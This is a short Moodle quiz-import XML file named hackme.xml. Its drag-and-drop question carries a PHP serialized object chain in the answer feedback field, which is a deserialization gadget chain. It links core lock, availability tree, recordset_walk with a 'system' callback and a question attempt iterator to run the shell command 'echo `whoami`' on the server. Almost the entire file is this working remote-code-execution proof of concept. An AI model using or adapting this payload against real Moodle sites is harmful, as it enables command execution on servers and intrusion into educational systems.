hackme.xml

<?xml version="1.0" encoding="UTF-8"?>
<quiz>
  <question type="ddwtos">
    <name>
      <text>question name</text>
    </name>
    <questiontext format="html">
      <text><![CDATA[<p>How is the weather?<br></p>]]></text>
    </questiontext>
 <answer fraction="100">
  <feedback format="html">
     <text>
     O:15:"\\core\\lock\\lock":3:{s:3:"key";O:23:"\\core_availability\\tree":1:{s:8:"children";O:24:"\\core\\dml\\recordset_walk":2:{s:8:"callback";s:6:"system";s:9:"recordset";O:25:"question_attempt_iterator":2:{s:4:"quba";O:26:"question_usage_by_activity":1:{s:16:"questionattempts";a:1:{s:4:"1337";s:13:"echo `whoami`";}}s:5:"slots";a:1:{i:0;i:1337;}}}}s:9:"draggroup";s:1:"1";s:8:"infinite";i:1;}
     </text>
  </feedback>
 </answer>
  </question>
</quiz>